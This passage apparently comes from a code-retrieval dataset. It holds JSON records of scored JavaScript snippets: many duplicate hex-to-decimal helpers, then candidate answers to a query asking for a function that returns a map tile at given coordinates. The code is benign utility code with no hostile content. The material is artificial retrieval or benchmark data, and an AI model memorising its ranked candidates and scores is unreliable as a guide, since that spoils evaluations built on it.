"docid": "8a4c2648e7c4721f1d0a4af80857ddaa", "score": "0.7354457", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "8a4c2648e7c4721f1d0a4af80857ddaa", "score": "0.7354457", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "3855fca8e16cd495fda36ffdfc0685ca", "score": "0.7322789", "text": "function parseIntFromHex(val){return parseInt(val,16);}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "1c81ccee943ebd40dfb403f1b7a2f0d0", "score": "0.72933114", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "8c05dcb5307fb1f2477a8484ac10e7ea", "score": "0.7266107", "text": "function hexToDec (hex, sum) {\n sum = sum || 0;\n var lookupObj = {\n \"0\":0,\n \"1\":1,\n \"2\":2,\n \"3\":3,\n \"4\":4,\n \"5\":5,\n \"6\":6,\n \"7\":7,\n \"8\":8,\n \"9\":9,\n \"a\":10,\n \"b\":11,\n \"c\":12,\n \"d\":13,\n \"e\":14,\n \"f\":15\n };\n\n if(hex.length === 1) {\n return sum + lookupObj[hex];\n }\n\n sum += Math.pow(16, hex.length-1) * lookupObj[hex[0]];\n\n return hexToDec(hex.slice(1), sum)\n}", "title": "" }, { "docid": "4bb06289b0bf71c3d4dc7648d8050891", "score": "0.72474843", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "387c468a47730a49773a1772c242d34d", "score": "0.72295254", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "387c468a47730a49773a1772c242d34d", "score": "0.72295254", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "387c468a47730a49773a1772c242d34d", "score": "0.72295254", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "387c468a47730a49773a1772c242d34d", "score": "0.72295254", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "387c468a47730a49773a1772c242d34d", "score": "0.72295254", "text": "function convertHexToDecimal(h) {\n return (parseIntFromHex(h) / 255);\n }", "title": "" }, { "docid": "eb21dc6fac11e332643f887b543a4c9f", "score": "0.7211796", "text": "function convertHexToDecimal(h) {\n\t\treturn (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "eb21dc6fac11e332643f887b543a4c9f", "score": "0.7211796", "text": "function convertHexToDecimal(h) {\n\t\treturn (parseIntFromHex(h) / 255);\n}", "title": "" }, { "docid": "7a30fd5cdc5ab2d565c025cf3f412379", "score": "0.721141", "text": "function parseIntFromHex (val) {\r\n\t return parseInt(val, 16)\r\n\t }", "title": "" }, { "docid": "140b350f810571407167c89d17ec7163", "score": "0.7211179", "text": "function convertHexToDecimal(h) {\n\t return (parseIntFromHex(h) / 255);\n\t}", "title": "" }, { "docid": "140b350f810571407167c89d17ec7163", "score": "0.7211179", "text": "function convertHexToDecimal(h) {\n\t return (parseIntFromHex(h) / 255);\n\t}", "title": "" }, { "docid": "140b350f810571407167c89d17ec7163", "score": "0.7211179", "text": "function convertHexToDecimal(h) {\n\t return (parseIntFromHex(h) / 255);\n\t}", "title": "" }, { "docid": "69b345baf3a2ab0531d70171a04aaf88", "score": "0.717693", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n }", "title": "" }, { "docid": "af1cce5e3f8578932ca9e79d691e0a3c", "score": "0.7170235", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n}", "title": "" }, { "docid": "af1cce5e3f8578932ca9e79d691e0a3c", "score": "0.7170235", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n}", "title": "" }, { "docid": "af1cce5e3f8578932ca9e79d691e0a3c", "score": "0.7170235", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n}", "title": "" }, { "docid": "af1cce5e3f8578932ca9e79d691e0a3c", "score": "0.7170235", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n}", "title": "" }, { "docid": "a0053f249677354d5d5190003ea8462e", "score": "0.71570355", "text": "function colorHexToDec(hexValue, color) {\n\t\n\t/*\n\t * hexValue is a string in the following form: #ffffff. We must ignore\n\t * hexValue[0] since it's the \"#\" sign.\n\t */\n\n\t// We have 3 cases: \"red\", \"green\", \"blue\":\n\tswitch(color) {\t\t\n\t\tcase \"red\":\n\t\t\treturn parseInt(hexValue.substring(1, 3), 16);\n\t\t\tbreak;\n\t\tcase \"green\":\n\t\t\treturn parseInt(hexValue.substring(3, 5), 16);\n\t\t\tbreak;\n\t\tcase \"blue\":\n\t\t\treturn parseInt(hexValue.substring(5, 7), 16);\n\t\t\tbreak;\n\n\t\t// We should never reach this state:\n\t\tdefault:\n\t\t\tconsole.log(\"ERROR!\");\n\t\t\treturn -9001;\n\t\t\tbreak;\n\t\t\t\n\t} // End switch()\n}", "title": "" }, { "docid": "0f74c7b04c41a26555442190c3b46e14", "score": "0.7154306", "text": "function convertDecimalToHex(d){return Math.round(parseFloat(d)*255).toString(16);}", "title": "" }, { "docid": "7f6a249523b4222c1371c84fa69b75ac", "score": "0.7142731", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n}", "title": "" }, { "docid": "7fdd77b372ec0a02f50407765fa6e5cd", "score": "0.7132967", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n }", "title": "" }, { "docid": "9edb21d43542b8c4c0c9de1c03088c26", "score": "0.71320957", "text": "function convertHexToDecimal(h) {\n\t\t\treturn (parseIntFromHex(h) / 255);\n\t}", "title": "" }, { "docid": "9edb21d43542b8c4c0c9de1c03088c26", "score": "0.71320957", "text": "function convertHexToDecimal(h) {\n\t\t\treturn (parseIntFromHex(h) / 255);\n\t}", "title": "" }, { "docid": "ea1be594ac0144e048a030330c2125ac", "score": "0.7125906", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "2cdb9a8e51abe0c87b35d82aa7de0b4b", "score": "0.71181434", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "cacb8222e641ae89c3fac45615437799", "score": "0.7106047", "text": "function parseHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "cacb8222e641ae89c3fac45615437799", "score": "0.7106047", "text": "function parseHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "cacb8222e641ae89c3fac45615437799", "score": "0.7106047", "text": "function parseHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "cacb8222e641ae89c3fac45615437799", "score": "0.7106047", "text": "function parseHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "aa3385581f31ecf0b88674a057e88d26", "score": "0.7105954", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "aa3385581f31ecf0b88674a057e88d26", "score": "0.7105954", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "d64afd65c1eea6cbdd33f42492a7123e", "score": "0.71045405", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "236cf86ec06bc403d1917c1ce36770ad", "score": "0.7086532", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "aa1a1c98cfd3da50ee141f1b5863f3ee", "score": "0.70789987", "text": "function convertHexToDecimal(h) {\n return parseIntFromHex(h) / 255;\n }", "title": "" }, { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.70645505", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.70645505", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.70645505", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.70645505", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.70645505", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "a59d3f6800aec32e5fcb1ffbefa64ea2", "score": "0.70645505", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n }", "title": "" }, { "docid": "db6f3e5111bcabb1cc746a85cd7c9874", "score": "0.7041507", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" }, { "docid": "fdbdf89820fa9aad4ede0cb2e9f62250", "score": "0.70152444", "text": "function parseIntFromHex(val) {\n return parseInt(val, 16);\n}", "title": "" } ]
e8c5c7bdd0788d0ef6f82fa0d8000296
Returns the tile in the given coordinates. Checks bounds and returns empty tile if invalid coordinates are given.
[ { "docid": "ef7e13225233f980173091c261b5c3e4", "score": "0.6703399", "text": "get(x, y) {\n\t if (x < 0 || y < 0 || x >= this.width || y >= this.height) {\n\t return tile_1.Tile.NullTile();\n\t }\n\t return this.buffer[y][x];\n\t }", "title": "" } ]
[ { "docid": "68b83364e2db08674329649f7f6f501e", "score": "0.76851815", "text": "function getTile(x:int, y:int):Tile{\n\tif(y * width + x < tileMap.Length){\n\t\treturn tileMap[y * width + x];\n\t}\n\tDebug.LogError(\"out of bounds for tileMap\");\n\treturn null;\n}", "title": "" }, { "docid": "4606b03740a64839b94d4a47f421fb7e", "score": "0.71765524", "text": "getTile(x,y){\r\n let tile = this.tiles[x + \",\" + y];\r\n return tile ? tile : null;\r\n }", "title": "" }, { "docid": "97038887cbe7ad76d21f9fc410c0aca2", "score": "0.70879716", "text": "getTileAt(x, y) {\n if (!this.isValidTile(x, y)) {\n return null;\n }\n return this.tiles[ (y * this.config.width) + x];\n }", "title": "" }, { "docid": "d12031ff0b5ef6b5cc9660fe2a08470e", "score": "0.70052576", "text": "function get(x,y){\n\t\treturn vaildTile(x,y) ? {\"x\" : x, \"y\" : y} : null;\n\t}", "title": "" }, { "docid": "5fb0017600b316e9281217451b0337e0", "score": "0.6985478", "text": "getTile(yCoord, xCoord) {\n let tile = _.filter(this.tiles, _.matches({'x': xCoord, 'y': yCoord}));\n\n if (tile){\n return tile[0];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "6393c370f3728c366b7a39fddae7f234", "score": "0.6933324", "text": "GetTile(pos){\n if(pos == null) return null;\n return this.CheckRange(pos.x) && this.CheckRange(pos.y)?this.#tiles[pos.x][pos.y] : null;\n }", "title": "" }, { "docid": "3ccda08dba2ca8a4f727bb476ca346ae", "score": "0.6878534", "text": "function getDungeonTile(x, y) {\n var t = \"\";\n var v = -1;\n\ttry { \n //t = map[y][x];\n // const map = universe.get_cells(); \n const idx = getIndex(x, y);\n v = map[idx];\n //console.log(\"Cell at \", x, \" y: \", y, \"is: \", v);\n }\n catch(err) { return ut.NULLTILE; }\n\n //map rust values to our tiles\n if (v == 0 ) { return FLOOR };\n if (v == 1 ) { return WALL };\n if (v == 2 ) { return GRASS };\n if (v == 3 ) { return TREE };\n if (v == 4 ) { return FLOOR_INDOOR};\n if (v == 5 ) { return DOOR};\n if (v == 6 ) { return MOUNTAIN};\n if (v == 7 ) { return WATER};\n \t\n\tif (t === '#') return WALL;\n\tif (t === '.') return FLOOR;\n\treturn ut.NULLTILE;\n}", "title": "" }, { "docid": "fa8d194b2fa8e3087b82d1c23b5ffe64", "score": "0.6851902", "text": "function getTile(x, y) {\n\n return field[y * DIMENSIONS + x];\n}", "title": "" }, { "docid": "2cdf352a7cfe1cf1be2f7e8d78fc3816", "score": "0.68430907", "text": "findTile({ x, y }) {\n const row = this.rows[y];\n return row && row.length > x ? row[x] : null;\n }", "title": "" }, { "docid": "c5383f97c6b5787eaf5896a56c700e1b", "score": "0.6833509", "text": "getTile(_x, _y) {\n return this.tiles[_x][_y];\n }", "title": "" }, { "docid": "2bdce255eec3846acd645c14e09a5c0a", "score": "0.67819285", "text": "getTileByCoords(coords){\n for(let key in this.tiles){\n if (key == coords)\n return this.tiles[key];\n }\n }", "title": "" }, { "docid": "6e617cbd604ef83349c9047bb4ab642d", "score": "0.67065936", "text": "getTileCoord(x,y){\n return this.tiles[9*i + j];\n }", "title": "" }, { "docid": "f40b1dd809a7fff93ae21858a96473e0", "score": "0.6545481", "text": "GetTile(row, column)\n {\n return this.tiles[row][column];\n }", "title": "" }, { "docid": "f40b1dd809a7fff93ae21858a96473e0", "score": "0.6545481", "text": "GetTile(row, column)\n {\n return this.tiles[row][column];\n }", "title": "" }, { "docid": "997952fe7b0b643baf34d71619adcde8", "score": "0.65254825", "text": "getTile(x, y) {\n const tilePosition = (y*this.width) + x;\n const tileObject = _.find(this.map.layers[2].objects, { x: this.tileWidth*x, y: this.tileHeight*(y+1) });\n\n return {\n terrain: gidMap[this.map.layers[0].data[tilePosition]] || 'Void',\n blocked: _.includes(blockers, this.map.layers[1].data[tilePosition]),\n blocker: gidMap[this.map.layers[1].data[tilePosition]],\n region: this.regions[tilePosition] || 'Wilderness',\n object: tileObject,\n path: this.path\n };\n }", "title": "" }, { "docid": "6ec99dec514a8baaa81ef29841a0c2b4", "score": "0.6476177", "text": "function coordsToTile(x, y) {\n const tile = Math.floor(y / tileSize) * mapW + Math.floor(x / tileSize);\n return tile;\n}", "title": "" }, { "docid": "ce273d43a757bcb2c9301ad3d5350f42", "score": "0.6392037", "text": "function getMouseTile(pos) {\n // Calculate the index of the tile\n var tx = Math.floor((pos.x - level.x) / level.tilewidth);\n var ty = Math.floor((pos.y - level.y) / level.tileheight);\n \n // Check if the tile is valid\n if (tx >= 0 && tx < level.columns && ty >= 0 && ty < level.rows) {\n // Tile is valid\n return {\n valid: true,\n x: tx,\n y: ty\n };\n }\n \n // No valid tile\n return {\n valid: false,\n x: 0,\n y: 0\n };\n }", "title": "" }, { "docid": "f9e39ecee9ba67c477b9d7206dcb24a9", "score": "0.6302778", "text": "function tileCoord(row, column) {\n this.row = row;\n this.column = column;\n}", "title": "" }, { "docid": "c5972b507332f12aa04be660491915fe", "score": "0.6301846", "text": "getTile(x, y) {\n // tslint:disable-next-line:no-unsafe-any\n return super.getTile(x, y);\n }", "title": "" }, { "docid": "2e6306558f51fe2cc7b4bd85db67369e", "score": "0.6301575", "text": "function vaildTile(x,y){\n\t\treturn (x>=0 && y>=0 && x<tiles[0].length && y<tiles[0].length);\n\t}", "title": "" }, { "docid": "1e096c3d4475f8682277f2513c3240ff", "score": "0.62546456", "text": "function Tile(x,y)\r\n{\r\n\tthis.x = x;\r\n\tthis.y = y;\r\n\tthis.occupied = null;\r\n\t// this.neighbours = {north: null, south: null, east: null, west: null};\r\n}", "title": "" }, { "docid": "a8d720c1245371a119bd6d298112a59e", "score": "0.6225936", "text": "get Tile() {}", "title": "" }, { "docid": "dea31de0ce6852550f79f9ef2f039c21", "score": "0.6184932", "text": "function getTileFromPosRound(x, y) {\n var position = {\n x: Math.round(x / TILE_SIZE),\n y: Math.round(y / TILE_SIZE)\n };\n return position;\n}", "title": "" }, { "docid": "f4df4d1a50cd2dd6526b5594f2a2d611", "score": "0.6070585", "text": "getOverlappingTile(x, y) {\n\n if (x < this.x || x > this.x + this.width || y < this.y || y > this.y + this.height) {\n return null;\n }\n let [row, col] = [this.getRowFromY(y), this.getColumnFromX(x)];\n\n let ind = this.getIndexFromTileCoord(row, col);\n\n let overlap = this.tileContainers.filter(d => d.cell.ind === ind);\n return overlap.empty() ? null : overlap;\n\n }", "title": "" }, { "docid": "cb8288f3c921a2ecf39e7631b4fabf0f", "score": "0.6061436", "text": "static WorldToTile(position, x, y) {\n // Translate relative to the world center and scale based upon the\n // tile size.\n const bottomLeft = new b2__namespace.Vec2();\n Fracker.GetBottomLeft(bottomLeft);\n x[0] = Math.floor(((position.x - bottomLeft.x) /\n FrackerSettings.k_tileWidth) +\n FrackerSettings.k_tileHalfWidth);\n y[0] = Math.floor(((position.y - bottomLeft.y) /\n FrackerSettings.k_tileHeight) +\n FrackerSettings.k_tileHalfHeight);\n }", "title": "" }, { "docid": "6052b6f81e541bbf7cde29e2b36bf488", "score": "0.60357815", "text": "static TileToWorld(x, y, out = new b2__namespace.Vec2()) {\n // Scale based upon the tile size and translate relative to the world\n // center.\n const bottomLeft = new b2__namespace.Vec2();\n Fracker.GetBottomLeft(bottomLeft);\n return out.Set((x * FrackerSettings.k_tileWidth) + bottomLeft.x, (y * FrackerSettings.k_tileHeight) + bottomLeft.y);\n }", "title": "" }, { "docid": "f7c7f2b753ee4517d3c3cc4d38f444b8", "score": "0.6022091", "text": "getTilePos(x, y) {\n let tileX = floor(x / this.tilesize) * this.tilesize;\n let tileY = floor(y / this.tilesize) * this.tilesize;\n return createVector(tileX, tileY);\n }", "title": "" }, { "docid": "3d4a8fe41593def6e37768893d192bce", "score": "0.6014433", "text": "findTile() {\n this._tile = -1;\n var tile = this._grid.getTile(this._gridLoc.x, this._gridLoc.y);\n for (var t = 0; t < TILE_LETTERS.length; t++) {\n if (TILE_LETTERS[t] == tile) {\n this._tile = t;\n break;\n }\n }\n if (this._tile == -1) {\n throw \"Tile is not a valid tile at index \" + this._gridLoc.toString();\n }\n }", "title": "" }, { "docid": "bb27503434b8605b4c420861f4d54dac", "score": "0.6010361", "text": "function getTile(e) {\n\t\tvar g = grid();\n\t\tfor (var i = 0; i < g.length; i++) {\n\t\t\tif ((g[i][0] < e.y) &&\n\t\t\t\t((g[i][0] + 256) > e.y) &&\n\t\t\t\t(g[i][1] < e.x) &&\n\t\t\t\t((g[i][1] + 256) > e.x)) return g[i][2];\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "5a862e448eb3db62feb183a04d9f253e", "score": "0.60074484", "text": "function findNode(x, y) {\n var tiles = document.querySelectorAll(\".tile\");\n for (var i = 0; i < tiles.length; i++) {\n var id = tiles[i].id;\n var location = id.split(\"_\");\n var xi = parseInt(location[1]);\n var yi = parseInt(location[2]);\n if (xi == x && yi == y) {\n return (tiles[i]);\n }\n }\n}", "title": "" }, { "docid": "63f49b221caa3655557e5730f5dad4ab", "score": "0.5984676", "text": "function getTile(row, col) {\n\t\tconst element = $('.puzzlepiece').filter(function () {\n\t\t\treturn $(this).css('top') === convertBack(row);\n\t\t})\n\t\t\t.filter(function () {\n\t\t\t\treturn $(this).css('left') === convertBack(col);\n\t\t\t});\n\t\treturn $(element);\n\t}", "title": "" }, { "docid": "af6c6ee12e55f728430ac25f04395619", "score": "0.5950674", "text": "worldToTile(worldCoord){\n \treturn Math.floor((worldCoord + (this.spacing / 2)) / this.spacing)\n }", "title": "" }, { "docid": "0ddb875669eeddb4420aa2e607a5d62d", "score": "0.5947462", "text": "function Tile (x, y, type) {\n this.coord = [x, y]\n this.elevation = type\n this.continent = 0\n this.visited = false\n}", "title": "" }, { "docid": "fd5cb4e7f371857e930c4e528914d90a", "score": "0.5904164", "text": "function Tile(x, y, type, pos) {\n this.x = x;\n this.y = y;\n this.type = type;\n this.pos = pos;\n}", "title": "" }, { "docid": "620150f2f0d4b222ea52b34a1ec295a7", "score": "0.5899947", "text": "function createTile(imageData, x, y) {\n return {\n hex: rgbToHex(imageData),\n x: x * TILE_WIDTH, // jshint ignore:line\n y: y * TILE_HEIGHT // jshint ignore:line\n };\n}", "title": "" }, { "docid": "b60a4b0565b41e598d7a5ae9cd01aaf8", "score": "0.5890938", "text": "function getTilePosition(position) {\n return {\n row: Math.floor(position.y / pacman.config.tileSize),\n col: Math.floor(position.x / pacman.config.tileSize)\n };\n }", "title": "" }, { "docid": "b2f4e68afd75531edb178e131a0914b0", "score": "0.58886737", "text": "function getTileFromBoard( parentBoard, x, y ) {\n return parentBoard.boardArray[x][y];\n}", "title": "" }, { "docid": "a384c845ff2df8f99b4aa9bb5c25b9be", "score": "0.5868428", "text": "function getTileCoordinate(column, row, columnoffset, rowoffset) {\n var tilex = level.x + (column + columnoffset) * level.tilewidth;\n var tiley = level.y + (row + rowoffset) * level.tileheight;\n return { tilex: tilex, tiley: tiley};\n }", "title": "" }, { "docid": "994609760e657d1a447a26f0b4f1e990", "score": "0.585805", "text": "tile23d(x, y) {\n\n var lat;\n var lon;\n // const n = Math.pow(2)\n // if (y < 0) {\n // lat = 90\n // lon = 0\n // } else if (y >= n) {\n // lat = -90\n // lon = 0\n // } else {\n lat = this.tileConverter.tile2lat(y)\n lon = this.tileConverter.tile2lon(x)\n\n // }\n return latlon23d(lat, lon, 0)\n }", "title": "" }, { "docid": "b71c20d1b21c993a09925f4a59053664", "score": "0.5850723", "text": "function getRightTile(){\n 'use strict';\n var blankPlace = blank.position();\n var side = blankPlace.left;\n var top = blankPlace.top;\n\n for (var i = 0; i < tiles.length+1; i++) {\n var tilePos = $(tiles[i]).position();\n \n if(tilePos.left== (side+200) && tilePos.top == top){\n return tiles[i];\n //return \"#\" +tiles[i].id;\n }\n }\n}", "title": "" }, { "docid": "aba8be8b6451e7b3235b6d6599a2e71e", "score": "0.58483374", "text": "function getCell($cells, x, y){\n\n\t\t// check the (x, y) coordinates\n\t\tvar i = parseInt((x - 2) / cellLength);\n\t\tvar j = parseInt((y - 2) / cellLength);\n\n\t\t// out of bound\n\t\tif(i < 0 || j < 0){\n\t\t\treturn null;\n\t\t}\n\t\tvar cell = $($cells[j * 10 + i]);\n\t\t\n\t\t// center x and y\n\t\tvar returnCell = {};\n\t\t\n\t\treturnCell.mouseX = cell.position().left + parseInt(cell.width() / 2) + 3;\n\t\t// hard code value\n\t\treturnCell.mouseY = cell.position().top + parseInt(cell.height() / 2) + 5; \n\t\treturnCell.x = i;\n\t\treturnCell.y = j;\n\t\t\n\t\treturn returnCell;\n\t}", "title": "" }, { "docid": "03d1bd28219e1cd31c0b129b4bb69b25", "score": "0.5837902", "text": "function getTileTest(z, x, y, callback) {\n var key = [z, x, y, size].join('.');\n\n // Headers.\n var headers = {\n 'Last-Modified': new Date().toUTCString(),\n 